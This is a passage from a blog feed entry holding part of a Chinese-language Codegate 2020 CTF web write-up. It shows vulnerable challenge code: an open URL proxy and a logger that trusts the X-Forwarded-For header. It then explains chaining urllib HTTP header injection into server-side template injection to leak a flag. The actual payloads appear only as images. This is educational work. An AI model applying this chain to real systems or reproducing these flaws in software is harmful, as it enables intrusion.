class="title">get_ip</span>():</span></span><br><span class="line">    <span class="keyword">return</span> request.remote_addr</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_real_ip</span>():</span></span><br><span class="line">    <span class="keyword">return</span> request.headers.get(<span class="string">&quot;X-Forwarded-For&quot;</span>) <span class="keyword">or</span> get_ip()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">proxy_read</span>(<span class="params">url</span>):</span></span><br><span class="line">    <span class="comment">#TODO : implement logging</span></span><br><span class="line">    </span><br><span class="line">    s = urlparse(url).scheme</span><br><span class="line">    <span class="keyword">if</span> s <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&quot;http&quot;</span>, <span class="string">&quot;https&quot;</span>]: <span class="comment">#sjgdmfRk akfRk</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> urllib2.urlopen(url).read()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write_log</span>(<span class="params">rip</span>):</span></span><br><span class="line">    tid = hashlib.sha1(<span class="built_in">str</span>(time.time()) + rip).hexdigest()</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/home/tickets/%s&quot;</span> % tid, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        log_str = <span class="string">&quot;Admin page accessed from %s&quot;</span> % rip</span><br><span class="line">        f.write(log_str)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> tid</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write_extend_log</span>(<span class="params">rip, body</span>):</span></span><br><span class="line">    tid = hashlib.sha1(<span class="built_in">str</span>(time.time()) + rip).hexdigest()</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/home/tickets/%s&quot;</span> % tid, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(body)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> tid</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_log</span>(<span class="params">ticket</span>):</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> (ticket <span class="keyword">and</span> ticket.isalnum()):</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> path.exists(<span class="string">&quot;/home/tickets/%s&quot;</span> % ticket):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/home/tickets/%s&quot;</span> % ticket, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            <span class="keyword">return</span> f.read()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br></pre></td></tr></table></figure><h3 id="分析-1"><a href="#分析-1" class="headerlink" title="分析"></a>分析</h3><p>可以发现我们 flag 在 config 中，想到 SSTI。</p><p>题目还提供了一个类似 SSRF 的功能，让服务器帮我们去请求，这里用的是 <code>urllib2.urlopen(url)</code>，这里存在 http 头注入的问题。</p><p>再看一下 admin 接口，会把 rip，也就是 xff 头写到日志里，我们可以通过 /admin/ticket 接口来访问日志（当然我们有了目录遍历，也可以直接下载）</p><p>如何才能 SSTI 呢，当访问 /admin/ticket 接口时会把日志结果用 <code>render_template_string</code>渲染，所以我们的思路很清楚了：把 SSTI payload 先放到 xff 头里，访问 admin 接口把 payload 写到日志里，再去访问 /admin/ticket 接口实现 SSTI，头部控制可以利用 urllib 的 HTTP 注入。</p><h3 id="exp-1"><a href="#exp-1" class="headerlink" title="exp"></a>exp</h3><p>首先请求 /admin:</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-6a5358e38937fa6e.png" alt="image.png"></p><p>得到 ticket，再请求 /admin/ticket：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-6f4b3bcd8936cf22.png" alt="image.png"></p><p>参考：</p><ol><li><p><a href="https://ctftime.org/writeup/18264">https://ctftime.org/writeup/18264</a></p></li><li><p><a href="https://blog.rwx.kr/codegate-ctf-2020-preliminary/#csp">https://blog.rwx.kr/codegate-ctf-2020-preliminary/#csp</a></p></li></ol>]]></content>
    
    
    <summary type="html">&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;文章首发于安全客 https:&amp;#x2F;&amp;#x2F;www.anquanke.com&amp;#x2F;post&amp;#x2F;id&amp;#x2F;198479&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;



&lt;p&gt;Codegate 还是有很多国际强队参加的，这里记录两道 Codegate Web题。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
  </entry>
  
</feed>
